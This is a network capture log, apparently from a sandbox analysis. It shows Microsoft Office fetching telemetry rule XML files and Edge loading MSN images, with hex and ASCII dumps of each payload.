2024-11-25 04:46:56 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:56 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:56 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 512d0a55-c01e-0079-2cc0-3ee51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044656Z-178bfbc474bvjk8shC1NYC83ns00000006s000000000et5h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:56 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:56 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:56 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: efe1277d-c01e-008d-7f4b-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044656Z-15b8b599d889gj5whC1TEBfyk000000005b0000000003v8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:56 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:56 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:56 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: dc5ae1d1-201e-0096-3d45-3dace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044656Z-178bfbc474bfw4gbhC1NYCunf400000006wg00000000h775 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:56 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:56 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:56 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: fa8f60f6-901e-0083-3159-3cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044656Z-15b8b599d88g5tp8hC1TEByx6w00000005c000000000d7k9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:57 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49946	104.117.182.56	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:57 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKEt.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:58 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKEt Last-Modified: Thu, 21 Nov 2024 20:14:38 GMT X-Source-Length: 81045 X-Datacenter: eastus X-ActivityId: 1002dc85-c0f7-4f17-b105-1e1613a0df9a Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 81045 Cache-Control: public, max-age=142102 Expires: Tue, 26 Nov 2024 20:15:20 GMT Date: Mon, 25 Nov 2024 04:46:58 GMT Connection: close
2024-11-25 04:46:58 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 04:46:58 UTC	16384	IN	Data Raw: 89 9c af b9 a8 a7 a5 f3 2e 9a fb 0d 56 09 b8 ab 0b 98 80 82 a0 bb 74 b5 86 35 f1 f6 ac f1 dd 09 6e 80 0f f7 fe eb 70 4f ac 31 73 95 c2 e1 6f b9 f8 a4 92 49 e4 ba 98 a1 49 8c a1 6d d0 b6 db 6c 33 05 58 2f 69 da bc e3 f8 9c 37 43 41 f4 4a d9 e2 48 3a ac 7b 79 4f 12 dd 57 09 fc c4 ed 13 03 72 83 ca a0 14 11 97 b4 af 39 7b 8e 71 b8 d1 3e a9 5d 9f 88 11 32 6a 34 5a d3 9c 27 15 a3 6c 34 43 71 1e 8d e5 55 23 bc 01 98 1a 98 8e c5 83 c4 18 d5 40 db e5 d7 5e d8 c5 dd 69 8d d2 b7 11 9a 5c ae 97 02 2a 4c e8 dd b1 db d2 a1 77 10 62 a6 8c 69 02 33 5a 6b df ab 6c 01 fb a7 f4 5c ce 3a eb c0 0d 7b 43 4f ac 21 58 bb af de 0e 2e b7 07 70 bb 0b a0 12 d2 0c cc 50 65 b3 c5 5a bf c6 5d b8 dc 21 ce 21 c5 ed 13 b0 bc 18 e7 50 bc d7 05 74 49 06 26 20 4e b5 3a 0d b3 9a f4 8c e1 9a Data Ascii: .Vt5npO1soIIml3X/i7CAJH:{yOWr9{q>]2j4Z'l4CqU#@^i\*Lwbi3Zkl\:{CO!X.pPeZ]!!PtI& N:
2024-11-25 04:46:58 UTC	1980	IN	Data Raw: 96 4f 13 96 95 e5 52 af b6 5b a7 e7 5d 3b 44 eb 4d 39 20 97 61 d4 9a d0 69 d9 0b 90 78 87 6a 68 3c 64 c7 2a 24 7c e7 cd 1d ca 9a ef 85 ad 1d d0 96 ed 0e 0a ff 00 a4 00 fd f6 fe 89 7c 1d f9 f5 7c 7c c6 7d 65 7a 11 84 6c ec fa ac 97 b4 6c 5a b9 e4 e5 a2 1c 31 c1 bf ee cf ff 00 51 bf 52 b3 f0 4f fe 19 dd e6 37 ea bb 07 88 60 50 7c 58 8f 7f 62 b7 cd 74 e2 e2 be d7 94 e0 d7 5b 22 76 dc fa 02 96 11 86 70 82 34 a5 c9 3d 80 4a bf 72 ed a7 ba 5c c0 e2 34 38 4c a8 0f 10 d6 e8 de c1 1e c4 d7 1f 37 f7 62 71 85 30 d2 66 2c bb c4 94 06 5d 90 05 a0 d1 99 2e f6 47 d1 59 f3 9c fd 26 bb 4c 74 15 5a 6f bb 56 b5 a7 2d 5d d0 3d a9 ab b9 2a 13 1b 43 57 dc 0d db a7 b5 46 47 0e 28 03 de 6b 5e ef e8 a2 b9 e6 01 50 1c 77 86 8e d3 2a b1 b9 74 7f 0d 83 28 2e 77 40 01 58 b9 eb da 52 Data Ascii: OR[];DM9 aixjh<d$\|\|\|\|}ezllZ1QRO7`P\|Xbt["vp4=Jr\48L7bq0f,].GY&LtZoV-]=CWFG(k^Pw*t(.w@XR
2024-11-25 04:46:58 UTC	16384	IN	Data Raw: 4a 5b a9 f1 01 c3 50 72 8d 9b 96 b1 34 ec 07 92 e3 79 17 27 ba eb 67 f7 a3 a5 64 b2 fd bd 58 7c 2b d0 ae 8c 7a 65 05 bb 78 87 3d df 53 b1 4b 33 53 1e fa ca f3 e6 eb 9b ab 5d a4 d4 14 c7 13 0a 7b 73 d1 6d e8 21 a6 27 4e 5a ef e5 54 88 60 db ef 9a e3 8e 21 a7 35 2b 6e 4d 31 53 9a cf b7 30 5b a3 de 13 cb 66 70 b1 de ec f7 95 10 ba dc c8 8e c9 ec 52 48 3a 57 b3 45 9a 52 11 b6 0e d1 9e e5 bc 51 4e 9e 85 09 6b 8e 91 49 df ce 25 60 b5 cc 00 c1 3e c4 a8 91 61 d7 41 a1 cb 7a 0d c6 9f 7d 55 5c 7b 67 b3 df 55 b0 eb 44 e9 14 ec 57 4d 6f 13 48 1c cc 66 36 e5 bd 01 83 6f 87 b5 46 30 cc 87 50 f6 f8 e6 16 1c 09 3a f2 1f 4f 62 78 89 f0 b7 53 ae c4 7a ba d7 64 6c 55 bb e3 4a e4 56 3c e7 8a 7f 65 ad 32 2e 02 ec 8b 4c e7 3d 4b 5e 19 78 8e b5 4b 11 8a 81 03 97 64 23 16 71 2a Data Ascii: J[Pr4y'gdX\|+zex=SK3S]{sm!'NZT`!5+nM1S0[fpRH:WERQNkI%`>aAz}U\{gUDWMoHf6oF0P:ObxSzdlUJV<e2.L=K^xKd#q*
2024-11-25 04:46:58 UTC	16384	IN	Data Raw: 13 86 72 ab 8f 5a 94 59 7c fa 46 77 ac fc 33 b5 24 d3 61 1d 6b 37 fd 4b 4c 79 4c 89 0d b6 3c 11 e5 b4 7d d1 b8 6d 52 7c 39 06 9d a4 c0 cb 42 b3 83 49 2d cf 42 97 cd 69 ac 1b 6e 0a 67 08 86 bb d3 74 6e 15 dc a3 87 64 01 9d 2b 9f 34 c5 a7 98 9f 4a 7c 0e ca f4 ab e2 37 f8 62 64 bf b5 61 cf b6 2a 03 8f 6a 3c 83 4e f4 4d 0e 9f 54 fc 98 ae 21 9d 29 d3 29 15 bc a4 45 d6 e2 ad 3b d6 26 d1 1f cb 98 d3 df 35 30 60 93 b0 73 18 b2 3e f9 a3 cb 15 20 d4 6e d1 6b 87 33 8a 29 b6 2b e5 c4 88 f7 0b 05 cc 74 82 cd 9d 0b 78 5b 14 2e cf bd 1e ae 9a 02 b2 6d b1 d5 1b 39 e7 d0 b5 c3 9a 20 c4 c3 e8 44 54 46 a5 62 6d 9a e1 39 cd 3c 63 c1 5a 2d b0 75 3a ec 04 09 d9 4d 79 a5 e5 b5 cd ee bc 30 d3 5a 81 ef da b5 71 cc a5 62 5b ae be f9 2c 62 69 14 91 e1 b4 e8 ad 79 2d 02 43 e6 b5 d8 Data Ascii: rZY\|Fw3$ak7KLyL<}mR\|9BI-Bingtnd+4J\|7bda*j<NMT!))E;&50`s> nk3)+tx[.m9 DTFbm9<cZ-u:My0Zqb[,biy-C
2024-11-25 04:46:58 UTC	7952	IN	Data Raw: 10 46 10 60 f6 69 d9 9a 89 d7 3d 58 70 ca bb 13 45 96 b0 78 9c 36 8c 98 a8 f7 f0 45 8b 8d 69 3e 61 06 22 9b 7f b9 5c 6e 31 ec 36 da e9 99 1b 36 99 c9 43 6d 85 d7 58 e3 8a 0b 43 9d 5a 6e ec 92 bd 5e dc 69 bd 97 6c 5b d4 be e1 c5 e5 b7 43 19 69 fa 2e 65 e0 f6 4b dd b0 b7 79 cb c1 5a c7 6e db 66 6b 4a ef 51 7c 4c 89 b9 1d ea b5 bf 96 62 7c 35 5c 71 89 8d 91 c1 a5 92 1f 66 dc 6a 60 0a 66 ac 07 b8 34 8d 31 4d 3d aa 83 6f b8 dc c2 01 76 b0 7c 27 ea 8f 31 f2 5f 84 99 6c 37 90 23 67 5c a9 38 ef a6 96 cd d7 39 a4 8a 89 81 ce 73 8d f9 2a ad bc e6 e3 17 08 d8 08 39 fe aa a0 f3 b0 9c 0d 33 6d a2 48 cc f2 52 8e 18 de 87 ba 5a 30 41 04 c1 99 a2 d6 9c 63 6d 7e e8 d8 69 37 5b 85 dd d0 1b e2 1a 63 eb 45 7c 96 5a 70 b9 a1 0d 80 39 1e 55 47 c3 61 21 a1 d0 d8 d7 c0 0a 78 ad Data Ascii: F`i=XpEx6Ei>a"\n166CmXCZn^il[Ci.eKyZnfkJQ\|Lb\|5\qfj`f41M=ov\|'1_l7#g\89s*93mHRZ0Acm~i7[cE\|Zp9UGa!x
2024-11-25 04:46:58 UTC	6096	IN	Data Raw: 8c 30 d7 61 ef 50 96 e6 29 e8 f6 90 a2 c6 04 81 15 30 39 c0 a8 f1 01 66 dd e0 1c e7 ec 2f 70 11 93 b0 e5 db d8 b7 3c 5c e2 78 ba 20 01 ab 62 20 ef 5a b8 c7 38 b6 1d 85 a0 cb 84 6b 43 d2 aa 8b 8e 7e 16 b8 6a 26 99 57 da 15 13 78 f9 9e 50 26 5b 04 93 a1 3b 17 2d 33 3e 0e 96 b3 76 e1 b3 59 9a 9f 0a 40 a2 f3 f8 9c 4d b6 b8 90 d7 b8 77 b6 90 67 a5 77 f0 f9 8e a9 ee fa a0 6d 24 d4 f8 2d ba dd 97 06 b5 d5 f2 c7 69 d3 b5 75 8c a3 1d b1 7d cc 4c 5a 97 93 75 e2 a4 c1 33 a6 a4 56 7a 95 9c 45 86 e1 91 18 80 07 5c b5 ed 2a f3 6f 07 0c 3f 7b 40 ab 06 9c 38 35 ae 23 3f 5d eb 95 cc ed 83 4e c1 e5 1b 40 99 92 e1 b7 d5 90 07 52 cf 90 d3 6d b0 e9 d3 a6 68 79 2d 8b 6e 76 2c 6e 22 64 46 ed 08 52 5b 61 b2 18 0e 42 32 d9 f5 56 eb ab a1 36 cd a7 06 cc ba 20 49 3a 18 59 16 86 b1 Data Ascii: 0aP)09f/p<\x b Z8kC~j&WxP&[;-3>vY@Mwgwm$-iu}LZu3VzE\*o?{@85#?]N@Rmhy-nv,n"dFR[aB2V6 I:Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49944	104.117.182.56	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:57 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:58 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A Last-Modified: Sun, 20 Oct 2024 23:49:33 GMT X-Source-Length: 114962 X-Datacenter: eastus X-ActivityId: f9c97283-f306-495f-9b12-cae296533644 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 114962 Cache-Control: public, max-age=111668 Expires: Tue, 26 Nov 2024 11:48:06 GMT Date: Mon, 25 Nov 2024 04:46:58 GMT Connection: close
2024-11-25 04:46:58 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 04:46:58 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-25 04:46:58 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
